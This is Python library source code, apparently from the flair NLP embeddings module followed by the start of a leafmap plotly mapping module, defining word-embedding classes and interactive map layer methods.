False. :param embeddings: path to your embeddings '.bin' file :param use_local: set this to False if you are using embeddings from a remote source """ self.instance_parameters = self.get_instance_parameters(locals=locals()) cache_dir = Path("embeddings") if use_local: if not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) else: embeddings = cached_path(f"{embeddings}", cache_dir=cache_dir) self.embeddings = embeddings self.name: str = str(embeddings) self.static_embeddings = True self.precomputed_word_embeddings = gensim.models.FastText.load_fasttext_format( str(embeddings) ) self.__embedding_length: int = self.precomputed_word_embeddings.vector_size self.field = field super().__init__() @property def embedding_length(self) -> int: return self.__embedding_length @instance_lru_cache(maxsize=10000, typed=False) def get_cached_vec(self, word: str) -> torch.Tensor: try: word_embedding = self.precomputed_word_embeddings[word] except: word_embedding = np.zeros(self.embedding_length, dtype="float") word_embedding = torch.tensor( word_embedding.tolist(), device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_embedding = self.get_cached_vec(word) token.set_embedding(self.name, word_embedding) return sentences def __str__(self): return self.name def extra_repr(self): return f"'{self.embeddings}'" class OneHotEmbeddings(TokenEmbeddings): """One-hot encoded embeddings. """ def __init__( self, corpus: Corpus, field: str = "text", embedding_length: int = 300, min_freq: int = 3, ): """ Initializes one-hot encoded word embeddings and a trainable embedding layer :param corpus: you need to pass a Corpus in order to construct the vocabulary :param field: by default, the 'text' of tokens is embedded, but you can also embed tags such as 'pos' :param embedding_length: dimensionality of the trainable embedding layer :param min_freq: minimum frequency of a word to become part of the vocabulary """ super().__init__() self.name = "one-hot" self.static_embeddings = False self.min_freq = min_freq self.field = field self.instance_parameters = self.get_instance_parameters(locals=locals()) tokens = list(map((lambda s: s.tokens), corpus.train)) tokens = [token for sublist in tokens for token in sublist] if field == "text": most_common = Counter(list(map((lambda t: t.text), tokens))).most_common() else: most_common = Counter( list(map((lambda t: t.get_tag(field).value), tokens)) ).most_common() tokens = [] for token, freq in most_common: if freq < min_freq: break tokens.append(token) self.vocab_dictionary: Dictionary = Dictionary() for token in tokens: self.vocab_dictionary.add_item(token) # max_tokens = 500 self.__embedding_length = embedding_length print(self.vocab_dictionary.idx2item) print(f"vocabulary size of {len(self.vocab_dictionary)}") # model architecture self.embedding_layer = torch.nn.Embedding( len(self.vocab_dictionary), self.__embedding_length ) torch.nn.init.xavier_uniform_(self.embedding_layer.weight) self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: one_hot_sentences = [] for i, sentence in enumerate(sentences): if self.field == "text": context_idxs = [ self.vocab_dictionary.get_idx_for_item(t.text) for t in sentence.tokens ] else: context_idxs = [ self.vocab_dictionary.get_idx_for_item(t.get_tag(self.field).value) for t in sentence.tokens ] one_hot_sentences.extend(context_idxs) one_hot_sentences = torch.tensor(one_hot_sentences, dtype=torch.long).to( flair.device ) embedded = self.embedding_layer.forward(one_hot_sentences) index = 0 for sentence in sentences: for token in sentence: embedding = embedded[index] token.set_embedding(self.name, embedding) index += 1 return sentences def __str__(self): return self.name def extra_repr(self): return "min_freq={}".format(self.min_freq) class HashEmbeddings(TokenEmbeddings): """Standard embeddings with Hashing Trick.""" def __init__( self, num_embeddings: int = 1000, embedding_length: int = 300, hash_method="md5" ): super().__init__() self.name = "hash" self.static_embeddings = False self.instance_parameters = self.get_instance_parameters(locals=locals()) self.__num_embeddings = num_embeddings self.__embedding_length = embedding_length self.__hash_method = hash_method # model architecture self.embedding_layer = torch.nn.Embedding( self.__num_embeddings, self.__embedding_length ) torch.nn.init.xavier_uniform_(self.embedding_layer.weight) self.to(flair.device) @property def num_embeddings(self) -> int: return self.__num_embeddings @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: def get_idx_for_item(text): hash_function = hashlib.new(self.__hash_method) hash_function.update(bytes(str(text), "utf-8")) return int(hash_function.hexdigest(), 16) % self.__num_embeddings hash_sentences = [] for i, sentence in enumerate(sentences): context_idxs = [get_idx_for_item(t.text) for t in sentence.tokens] hash_sentences.extend(context_idxs) hash_sentences = torch.tensor(hash_sentences, dtype=torch.long).to(flair.device) embedded = self.embedding_layer.forward(hash_sentences) index = 0 for sentence in sentences: for token in sentence: embedding = embedded[index] token.set_embedding(self.name, embedding) index += 1 return sentences def __str__(self): return self.name class MuseCrosslingualEmbeddings(TokenEmbeddings): def __init__(self, ): self.name: str = f"muse-crosslingual" self.static_embeddings = True self.__embedding_length: int = 300 self.language_embeddings = {} super().__init__() @instance_lru_cache(maxsize=10000, typed=False) def get_cached_vec(self, language_code: str, word: str) -> torch.Tensor: current_embedding_model = self.language_embeddings[language_code] if word in current_embedding_model: word_embedding = current_embedding_model[word] elif word.lower() in current_embedding_model: word_embedding = current_embedding_model[word.lower()] elif re.sub(r"\d", "#", word.lower()) in current_embedding_model: word_embedding = current_embedding_model[re.sub(r"\d", "#", word.lower())] elif re.sub(r"\d", "0", word.lower()) in current_embedding_model: word_embedding = current_embedding_model[re.sub(r"\d", "0", word.lower())] else: word_embedding = np.zeros(self.embedding_length, dtype="float") word_embedding = torch.tensor( word_embedding, device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): language_code = sentence.get_language_code() supported = [ "en", "de", "bg", "ca", "hr", "cs", "da", "nl", "et", "fi", "fr", "el", "he", "hu", "id", "it", "mk", "no", "pl", "pt", "ro", "ru", "sk", ] if language_code not in supported: language_code = "en" if language_code not in self.language_embeddings: log.info(f"Loading up MUSE embeddings for '{language_code}'!") # download if necessary hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/muse" cache_dir = Path("embeddings") / "MUSE" cached_path( f"{hu_path}/muse.{language_code}.vec.gensim.vectors.npy", cache_dir=cache_dir, ) embeddings_file = cached_path( f"{hu_path}/muse.{language_code}.vec.gensim", cache_dir=cache_dir ) # load the model self.language_embeddings[ language_code ] = gensim.models.KeyedVectors.load(str(embeddings_file)) for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_embedding = self.get_cached_vec( language_code=language_code, word=word ) token.set_embedding(self.name, word_embedding) return sentences @property def embedding_length(self) -> int: return self.__embedding_length def __str__(self): return self.name # TODO: keep for backwards compatibility, but remove in future class BPEmbSerializable(BPEmb): def __getstate__(self): state = self.__dict__.copy() # save the sentence piece model as binary file (not as path which may change) state["spm_model_binary"] = open(self.model_file, mode="rb").read() state["spm"] = None return state def __setstate__(self, state): from bpemb.util import sentencepiece_load model_file = self.model_tpl.format(lang=state["lang"], vs=state["vs"]) self.__dict__ = state # write out the binary sentence piece model into the expected directory self.cache_dir: Path = flair.cache_root / "embeddings" if "spm_model_binary" in self.__dict__: # if the model was saved as binary and it is not found on disk, write to appropriate path if not os.path.exists(self.cache_dir / state["lang"]): os.makedirs(self.cache_dir / state["lang"]) self.model_file = self.cache_dir / model_file with open(self.model_file, "wb") as out: out.write(self.__dict__["spm_model_binary"]) else: # otherwise, use normal process and potentially trigger another download self.model_file = self._load_file(model_file) # once the modes if there, load it with sentence piece state["spm"] = sentencepiece_load(self.model_file) class BytePairEmbeddings(TokenEmbeddings): def __init__( self, language: str = None, dim: int = 50, syllables: int = 100000, cache_dir=None, model_file_path: Path = None, embedding_file_path: Path = None, **kwargs, ): """ Initializes BP embeddings. Constructor downloads required files if not there. """ self.instance_parameters = self.get_instance_parameters(locals=locals()) if not cache_dir: cache_dir = flair.cache_root / "embeddings" if language: self.name: str = f"bpe-{language}-{syllables}-{dim}" else: assert ( model_file_path is not None and embedding_file_path is not None ), "Need to specify model_file_path and embedding_file_path if no language is given in BytePairEmbeddings(...)" dim = None self.embedder = BPEmbSerializable( lang=language, vs=syllables, dim=dim, cache_dir=cache_dir, model_file=model_file_path, emb_file=embedding_file_path, **kwargs, ) if not language: self.name: str = f"bpe-custom-{self.embedder.vs}-{self.embedder.dim}" self.static_embeddings = True self.__embedding_length: int = self.embedder.emb.vector_size * 2 super().__init__() @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for i, sentence in enumerate(sentences): for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value if word.strip() == "": # empty words get no embedding token.set_embedding( self.name, torch.zeros(self.embedding_length, dtype=torch.float) ) else: # all other words get embedded embeddings = self.embedder.embed(word.lower()) embedding = np.concatenate( (embeddings[0], embeddings[len(embeddings) - 1]) ) token.set_embedding( self.name, torch.tensor(embedding, dtype=torch.float) ) return sentences def __str__(self): return self.name def extra_repr(self): return "model={}".format(self.name) class ELMoEmbeddings(TokenEmbeddings): """Contextual word embeddings using word-level LM, as proposed in Peters et al., 2018. ELMo word vectors can be constructed by combining layers in different ways. Default is to concatene the top 3 layers in the LM.""" def __init__( self, model: str = "original", options_file: str = None, weight_file: str = None, embedding_mode: str = "all" ): super().__init__() self.instance_parameters = self.get_instance_parameters(locals=locals()) try: import allennlp.commands.elmo except ModuleNotFoundError: log.warning("-" * 100) log.warning('ATTENTION! The library "allennlp" is not installed!') log.warning( 'To use ELMoEmbeddings, please first install with "pip install allennlp==0.9.0"' ) log.warning("-" * 100) pass assert embedding_mode in ["all", "top", "average"] self.name = f"elmo-{model}-{embedding_mode}" self.static_embeddings = True if not options_file or not weight_file: # the default model for ELMo is the 'original' model, which is very large options_file = allennlp.commands.elmo.DEFAULT_OPTIONS_FILE weight_file = allennlp.commands.elmo.DEFAULT_WEIGHT_FILE # alternatively, a small, medium or portuguese model can be selected by passing the appropriate mode name if model == "small": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5" if model == "medium": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5" if model in ["large", "5.5B"]: options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x4096_512_2048cnn_2xhighway_5.5B/elmo_2x4096_512_2048cnn_2xhighway_5.5B_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x4096_512_2048cnn_2xhighway_5.5B/elmo_2x4096_512_2048cnn_2xhighway_5.5B_weights.hdf5" if model == "pt" or model == "portuguese": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pt/elmo_pt_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pt/elmo_pt_weights.hdf5" if model == "pubmed": options_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pubmed/elmo_2x4096_512_2048cnn_2xhighway_options.json" weight_file = "https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/contributed/pubmed/elmo_2x4096_512_2048cnn_2xhighway_weights_PubMed_only.hdf5" if embedding_mode == "all": self.embedding_mode_fn = self.use_layers_all elif embedding_mode == "top": self.embedding_mode_fn = self.use_layers_top elif embedding_mode == "average": self.embedding_mode_fn = self.use_layers_average # put on Cuda if available from flair import device if re.fullmatch(r"cuda:[0-9]+", str(device)): cuda_device = int(str(device).split(":")[-1]) elif str(device) == "cpu": cuda_device = -1 else: cuda_device = 0 self.ee = allennlp.commands.elmo.ElmoEmbedder( options_file=options_file, weight_file=weight_file, cuda_device=cuda_device ) # embed a dummy sentence to determine embedding_length dummy_sentence: Sentence = Sentence() dummy_sentence.add_token(Token("hello")) embedded_dummy = self.embed(dummy_sentence) self.__embedding_length: int = len( embedded_dummy[0].get_token(1).get_embedding() ) @property def embedding_length(self) -> int: return self.__embedding_length def use_layers_all(self, x): return torch.cat(x, 0) def use_layers_top(self, x): return x[-1] def use_layers_average(self, x): return torch.mean(torch.stack(x), 0) def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: # ELMoEmbeddings before Release 0.5 did not set self.embedding_mode_fn if not getattr(self, "embedding_mode_fn", None): self.embedding_mode_fn = self.use_layers_all sentence_words: List[List[str]] = [] for sentence in sentences: sentence_words.append([token.text for token in sentence]) embeddings = self.ee.embed_batch(sentence_words) for i, sentence in enumerate(sentences): sentence_embeddings = embeddings[i] for token, token_idx in zip(sentence.tokens, range(len(sentence.tokens))): elmo_embedding_layers = [ torch.FloatTensor(sentence_embeddings[0, token_idx, :]), torch.FloatTensor(sentence_embeddings[1, token_idx, :]), torch.FloatTensor(sentence_embeddings[2, token_idx, :]) ] word_embedding = self.embedding_mode_fn(elmo_embedding_layers) token.set_embedding(self.name, word_embedding) return sentences def extra_repr(self): return "model={}".format(self.name) def __str__(self): return self.name def __setstate__(self, state): self.__dict__ = state if re.fullmatch(r"cuda:[0-9]+", str(flair.device)): cuda_device = int(str(flair.device).split(":")[-1]) elif str(flair.device) == "cpu": cuda_device = -1 else: cuda_device = 0 self.ee.cuda_device = cuda_device self.ee.elmo_bilm.to(device=flair.device) self.ee.elmo_bilm._elmo_lstm._states = tuple( [state.to(flair.device) for state in self.ee.elmo_bilm._elmo_lstm._states]) class NILCEmbeddings(WordEmbeddings): def __init__(self, embeddings: str, model: str = "skip", size: int = 100): """ Initializes portuguese classic word embeddings trained by NILC Lab (http://www.nilc.icmc.usp.br/embeddings). Constructor downloads required files if not there. :param embeddings: one of: 'fasttext', 'glove', 'wang2vec' or 'word2vec' :param model: one of: 'skip' or 'cbow'. This is not applicable to glove. :param size: one of: 50, 100, 300, 600 or 1000. """ self.instance_parameters = self.get_instance_parameters(locals=locals()) base_path = "http://143.107.183.175:22980/download.php?file=embeddings/" cache_dir = Path("embeddings") / embeddings.lower() # GLOVE embeddings if embeddings.lower() == "glove": cached_path( f"{base_path}{embeddings}/{embeddings}_s{size}.zip", cache_dir=cache_dir ) embeddings = cached_path( f"{base_path}{embeddings}/{embeddings}_s{size}.zip", cache_dir=cache_dir ) elif embeddings.lower() in ["fasttext", "wang2vec", "word2vec"]: cached_path( f"{base_path}{embeddings}/{model}_s{size}.zip", cache_dir=cache_dir ) embeddings = cached_path( f"{base_path}{embeddings}/{model}_s{size}.zip", cache_dir=cache_dir ) elif not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) self.name: str = str(embeddings) self.static_embeddings = True log.info("Reading embeddings from %s" % embeddings) self.precomputed_word_embeddings = gensim.models.KeyedVectors.load_word2vec_format( open_inside_zip(str(embeddings), cache_dir=cache_dir) ) self.__embedding_length: int = self.precomputed_word_embeddings.vector_size super(TokenEmbeddings, self).__init__() @property def embedding_length(self) -> int: return self.__embedding_length def __str__(self): return self.name def replace_with_language_code(string: str): string = string.replace("arabic-", "ar-") string = string.replace("basque-", "eu-") string = string.replace("bulgarian-", "bg-") string = string.replace("croatian-", "hr-") string = string.replace("czech-", "cs-") string = string.replace("danish-", "da-") string = string.replace("dutch-", "nl-") string = string.replace("farsi-", "fa-") string = string.replace("persian-", "fa-") string = string.replace("finnish-", "fi-") string = string.replace("french-", "fr-") string = string.replace("german-", "de-") string = string.replace("hebrew-", "he-") string = string.replace("hindi-", "hi-") string = string.replace("indonesian-", "id-") string = string.replace("italian-", "it-") string = string.replace("japanese-", "ja-") string = string.replace("norwegian-", "no") string = string.replace("polish-", "pl-") string = string.replace("portuguese-", "pt-") string = string.replace("slovenian-", "sl-") string = string.replace("spanish-", "es-") string = string.replace("swedish-", "sv-") return string
import os import numpy as np import pandas as pd import ipywidgets as widgets from .basemaps import xyz_to_plotly from .common import * from .osm import * from . import examples try: import plotly.express as px import plotly.graph_objects as go except ImportError: raise ImportError( "This module requires the plotly package. Please install it using 'pip install plotly'." ) basemaps = xyz_to_plotly() class Canvas: """The widgets.HBox containing the map and a toolbar.""" def __init__( self, map, map_min_width="90%", map_max_width="98%", map_refresh=False, **kwargs, ): """Initialize the Canvas. Args: map (go.FigureWidget): The map to display. map_min_width (str, optional): The minimum width of the map. Defaults to '90%'. map_max_width (str, optional): The maximum width of the map. Defaults to '98%'. map_refresh (bool, optional): Whether to refresh the map when the map is resized. Defaults to False. """ from .toolbar import plotly_toolbar map_widget = widgets.Output(layout=widgets.Layout(width=map_max_width)) with map_widget: display(map) self.map = map self.map_min_width = map_min_width self.map_max_width = map_max_width self.map_refresh = map_refresh self.map_widget = map_widget container_widget = widgets.VBox() self.container_widget = container_widget toolbar_widget = plotly_toolbar(self) sidebar_widget = widgets.VBox([toolbar_widget, container_widget]) canvas = widgets.HBox([map_widget, sidebar_widget]) self.canvas = canvas self.toolbar_widget = toolbar_widget def toolbar_reset(self): """Reset the toolbar so that no tool is selected.""" if hasattr(self, "toolbar"): toolbar_grid = self.toolbar for tool in toolbar_grid.children: tool.value = False class Map(go.FigureWidget): """The Map class inherits the Plotly FigureWidget class. More info at https://plotly.com/python/figurewidget.""" def __init__( self, center=(20, 0), zoom=1, basemap="open-street-map", height=600, **kwargs ): """Initializes a map. More info at https://plotly.com/python/mapbox-layers/ Args: center (tuple, optional): Center of the map. Defaults to (20, 0). zoom (int, optional): Zoom level of the map. Defaults to 1. basemap (str, optional): Can be one of string from "open-street-map", "carto-positron", "carto-darkmatter", "stamen-terrain", "stamen-toner" or "stamen-watercolor" . Defaults to 'open-street-map'. height (int, optional): Height of the map. Defaults to 600. """ super().__init__(**kwargs) self.add_scattermapbox() self.update_layout( { "mapbox": { "style": basemap, "center": {"lat": center[0], "lon": center[1]}, "zoom": zoom, }, "margin": {"r": 0, "t": 0, "l": 0, "b": 0}, "height": height, } ) def show( self, toolbar=True, map_min_width="91%", map_max_width="98%", refresh=False, **kwargs, ): """Shows the map. Args: toolbar (bool, optional): Whether to show the toolbar. Defaults to True. map_min_width (str, optional): The minimum width of the map. Defaults to '91%'. map_max_width (str, optional): The maximum width of the map. Defaults to '98%'. refresh (bool, optional): Whether to refresh the map when the map is resized. Defaults to False. Returns: Canvas: Map canvas. """ if not toolbar: super().show(**kwargs) else: canvas = Canvas( self, map_min_width=map_min_width, map_max_width=map_max_width, map_refresh=refresh, ) return canvas.canvas def clear_controls(self): """Removes all controls from the map.""" config = { "scrollZoom": True, "displayModeBar": False, "editable": True, "showLink": False, "displaylogo": False, } self.show(toolbar=False, config=config) def add_controls(self, controls): """Adds controls to the map. Args: controls (list): List of controls to add, e.g., ['drawline', 'drawopenpath', 'drawclosedpath', 'drawcircle', 'drawrect', 'eraseshape'] See https://bit.ly/33Tmqxr """ if isinstance(controls, str): controls = [controls] elif not isinstance(controls, list): raise ValueError( "Controls must be a string or a list of strings. See https://bit.ly/33Tmqxr" ) self.update_layout(modebar_add=controls) def remove_controls(self, controls): """Removes controls to the map. Args: controls (list): List of controls to remove, e.g., ["zoomin", "zoomout", "toimage", "pan", "resetview"]. See https://bit.ly/3Jk7wkb """ if isinstance(controls, str): controls = [controls] elif not isinstance(controls, list): raise ValueError( "Controls must be a string or a list of strings. See https://bit.ly/3Jk7wkb" ) self.update_layout(modebar_remove=controls) def set_center(self, lat, lon, zoom=None): """Sets the center of the map. Args: lat (float): Latitude. lon (float): Longitude. zoom (int, optional): Zoom level of the map. Defaults to None. """ self.update_layout( mapbox=dict( center=dict(lat=lat, lon=lon), zoom=zoom if zoom is not None else self.layout.mapbox.zoom, ) ) def add_basemap(self, basemap="ROADMAP"): """Adds a basemap to the map. Args: basemap (str, optional): Can be one of string from basemaps. Defaults to 'ROADMAP'. """ if basemap not in basemaps: raise ValueError( f"Basemap {basemap} not found. Choose from {",".join(basemaps.keys())}" ) if basemap in self.get_tile_layers(): self.remove_basemap(basemap) layers = list(self.layout.mapbox.layers) + [basemaps[basemap]] self.update_layout(mapbox_layers=layers) def remove_basemap(self, name): """Removes a basemap from the map. Args: name (str): Name of the basemap to remove. """ layers = list(self.layout.mapbox.layers) layers = [layer for layer in layers if layer["name"] != name] self.layout.mapbox.layers = layers def add_mapbox_layer(self, style, access_token=None): """Adds a mapbox layer to the map. Args: layer (str | dict): Layer to add. Can be "basic", "streets", "outdoors", "light", "dark", "satellite", or "satellite-streets". See https://plotly.com/python/mapbox-layers/ and https://docs.mapbox.com/mapbox-gl-js/style-spec/ access_token (str, optional): The Mapbox Access token. It can be set as an environment variable "MAPBOX_TOKEN". Defaults to None. """ if access_token is None: access_token = os.environ.get("MAPBOX_TOKEN") self.update_layout( mapbox_style=style, mapbox_layers=[], mapbox_accesstoken=access_token ) def add_layer(self, layer, name=None, **kwargs): """Adds a layer to the map. Args: layer (plotly.graph_objects): Layer to add. name (str, optional): Name of the layer. Defaults to None. """ if isinstance(name, str): layer.name = name self.add_trace(layer, **kwargs) def remove_layer(self, name): """Removes a layer from the map. Args: name (str): Name of the layer to remove. """ if name in self.get_data_layers(): self.data = [layer for layer in self.data if layer.name != name] elif name in self.get_tile_layers(): self.layout.mapbox.layers = [ layer for layer in self.layout.mapbox.layers if layer["name"] != name ] def clear_layers(self, clear_basemap=False): """Clears all layers from the map. Args: clear_basemap (bool, optional): If True, clears the basemap. Defaults to False. """ if clear_basemap: self.data = [] else: if len(self.data) > 1: self.data = self.data[:1] def get_layers(self): """Returns a dictionary of all layers in the map. Returns: dict: A dictionary of all layers in the map. """ layers = {} for layer in self.layout.mapbox.layers: if layer["name"] is not None: layers[layer["name"]] = layer for layer in self.data: if layer.name is not None and layer.name != "trace 0": layers[layer.name] = layer return layers def get_tile_layers(self): """Returns a dictionary of tile layers in the map. Returns: dict: A dictionary of tile layers in the map. """ layers = {} for layer in self.layout.mapbox.layers: if layer["name"] is not None: layers[layer["name"]] = layer return layers def get_data_layers(self): """Returns a dictionary of data layers in the map. Returns: dict: A dictionary of data layers in the map. """ layers = {} for layer in self.data: if layer.name is not None and layer.name != "trace 0": layers[layer.name] = layer return layers def find_layer_index(self, name): """Finds the index of a layer. Args: name (str): Name of the layer to find. Returns: int: Index of the layer. """ for i, layer in enumerate(self.data): if layer.name == name: return i for i, layer in enumerate(self.layout.mapbox.layers): if layer["name"] == name: return i return None def set_layer_visibility(self, name, show=True): """Sets the visibility of a layer. Args: name (str): Name of the layer to set. show (bool, optional): If True, shows the layer. Defaults to True. """ if name in self.get_tile_layers(): index = self.find_layer_index(name) self.layout.mapbox.layers[index].visible = show elif name in self.get_data_layers(): index = self.find_layer_index(name) self.data[index].visible = show else: print(f"Layer {name} not found.") def set_layer_opacity(self, name, opacity=1): """Sets the visibility of a layer. Args: name (str): Name of the layer to set. opacity (float, optional): Opacity of the layer. Defaults to 1. """ if name in self.get_tile_layers(): index = self.find_layer_index(name) self.layout.mapbox.layers[index].opacity = opacity elif name in self.get_data_layers(): index = self.find_layer_index(name) layer = self.data[index] if hasattr(layer, "opacity"): layer.opacity = opacity elif hasattr(layer, "marker"): layer.marker.opacity = opacity else: print(f"Layer {name} not found.") def add_tile_layer( self, url, name="TileLayer", attribution="", opacity=1.0, **kwargs, ): """Adds a TileLayer to the map. Args: url (str): The URL of the tile layer. name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ layer = { "below": "traces", "sourcetype": "raster", "sourceattribution": attribution, "source": [url], "opacity": opacity, "name": name, } layers = list(self.layout.mapbox.layers) + [layer] self.update_layout(mapbox_layers=layers) def add_cog_layer( self, url, name="Untitled", attribution="", opacity=1.0, bands=None, titiler_endpoint="https://titiler.xyz", **kwargs, ): """Adds a COG TileLayer to the map. Args: url (str): The URL of the COG tile layer, e.g., 'https://opendata.digitalglobe.com/events/california-fire-2020/pre-event/2018-02-16/pine-gulch-fire20/1030010076004E00.tif' name (str, optional): The layer name to use for the layer. Defaults to 'Untitled'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. bands (list, optional): The bands to use. Defaults to None. titiler_endpoint (str, optional): Titiler endpoint. Defaults to "https://titiler.xyz". **kwargs: Arbitrary keyword arguments, including bidx, expression, nodata, unscale, resampling, rescale, color_formula, colormap, colormap_name, return_mask. See https://developmentseed.org/titiler/endpoints/cog/ and https://cogeotiff.github.io/rio-tiler/colormap/. To select a certain bands, use bidx=[1, 2, 3] """ tile_url = cog_tile(url, bands, titiler_endpoint, **kwargs) center = cog_center(url, titiler_endpoint) # (lon, lat) self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_stac_layer( self, url=None, collection=None, item=None, assets=None, bands=None, titiler_endpoint=None, name="STAC Layer", attribution="", opacity=1.0, **kwargs, ): """Adds a STAC TileLayer to the map. Args: url (str): HTTP URL to a STAC item, e.g., https://canada-spot-ortho.s3.amazonaws.com/canada_spot_orthoimages/canada_spot5_orthoimages/S5_2007/S5_11055_6057_20070622/S5_11055_6057_20070622.json collection (str): The Microsoft Planetary Computer STAC collection ID, e.g., landsat-8-c2-l2. items (str): The Microsoft Planetary Computer STAC item ID, e.g., LC08_L2SP_047027_20201204_02_T1. assets (str | list): The Microsoft Planetary Computer STAC asset ID, e.g., ["SR_B7", "SR_B5", "SR_B4"]. bands (list): A list of band names, e.g., ["SR_B7", "SR_B5", "SR_B4"] titiler_endpoint (str, optional): Titiler endpoint, e.g., "https://titiler.xyz", "planetary-computer", "pc". Defaults to None. name (str, optional): The layer name to use for the layer. Defaults to 'STAC Layer'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. """ tile_url = stac_tile( url, collection, item, assets, bands, titiler_endpoint, **kwargs ) center = stac_center(url, collection, item, titiler_endpoint) self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_mosaic_layer( self, url, titiler_endpoint=None, name="Mosaic Layer", attribution="", opacity=1.0, **kwargs, ): """Adds a STAC TileLayer to the map. Args: url (str): HTTP URL to a MosaicJSON. titiler_endpoint (str, optional): Titiler endpoint, e.g., "https://titiler.xyz". Defaults to None. name (str, optional): The layer name to use for the layer. Defaults to 'Mosaic Layer'. attribution (str, optional): The attribution to use. Defaults to ''. opacity (float, optional): The opacity of the layer. Defaults to 1. """ tile_url = mosaic_tile(url, titiler_endpoint, **kwargs) center = mosaic_info(url, titiler_endpoint)["center"] self.add_tile_layer(tile_url, name, attribution, opacity) self.set_center(lon=center[0], lat=center[1], zoom=10) def add_planet_by_month( self, year=2016, month=1, api_key=None, token_name="PLANET_API_KEY", name=None, attribution="", opacity=1.0, ): """Adds Planet global mosaic by month to the map. To get a Planet API key, see https://developers.planet.com/quickstart/apis/ Args: year (int, optional): The year of Planet global mosaic, must be >=2016. Defaults to 2016. month (int, optional): The month of Planet global mosaic, must be 1-12. Defaults to 1. api_key (str, optional): The Planet API key. Defaults to None. token_name (str, optional): The environment variable name of the API key. Defaults to "PLANET_API_KEY". name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ if name is None: name = str(year) + "-" + str(month).zfill(2) tile_url = planet_by_month(year, month, api_key, token_name) self.add_tile_layer( tile_url, name=name, attribution=attribution, opacity=opacity ) def add_planet_by_quarter( self, year=2016, quarter=1, api_key=None, token_name="PLANET_API_KEY", name=None, attribution="", opacity=1.0, ): """Adds Planet global mosaic by month to the map. To get a Planet API key, see https://developers.planet.com/quickstart/apis/ Args: year (int, optional): The year of Planet global mosaic, must be >=2016. Defaults to 2016. quarter (int, optional): The quarter of Planet global mosaic, must be 1-4. Defaults to 1. api_key (str, optional): The Planet API key. Defaults to None. token_name (str, optional): The environment variable name of the API key. Defaults to "PLANET_API_KEY". name (str, optional): Name of the layer. Defaults to 'TileLayer'. attribution (str): The attribution to use. Defaults to "". opacity (float, optional): The opacity of the layer. Defaults to 1. """ if name is None: name = str(year) + "-" + "q" + str(quarter) tile_url = planet_by_quarter(year, quarter, api_key, token_name) self.add_tile_layer( tile_url, name=name, attribution=attribution, opacity=opacity ) def save(self, file, format=None, width=None, height=None, scale=None, **kwargs): """Convert a map to a static image and write it to a file or writeable object Args: file (str): A string representing a local file path or a writeable object (e.g. a pathlib.Path object or an open file descriptor) format (str, optional): The desired image format. One of png, jpg, jpeg, webp, svg, pdf, eps. Defaults to None. width (int, optional): The width of the exported image in layout pixels. If the `scale` property is 1.0, this will also be the width of the exported image in physical pixels.. Defaults to None. height (int, optional): The height of the exported image in layout pixels. If the `scale` property is 1.0, this will also be the height of the exported image in physical pixels.. Defaults to None. scale (int, optional): The scale factor to use when exporting the figure. A scale factor larger than 1.0 will increase the image resolution with respect to the figure's layout pixel dimensions. Whereas as scale factor of less than 1.0 will decrease the image resolution.. Defaults to None. """ self.write_image( file, format=format, width=width, height=height, scale=scale, **kwargs ) def add_choropleth_map( self, data, name=None, z=None, colorscale="Viridis", **kwargs ): """Adds a choropleth map to the map. Args: data (str): File path to vector data, e.g., https://raw.githubusercontent.com/giswqs/leafmap/master/examples/data/countries.geojson name (str, optional): Name of the layer. Defaults to None. z (str, optional): Z value of the data. Defaults to None. colorscale (str, optional): Color scale of the data. Defaults to "Viridis". """ check_package("geopandas") 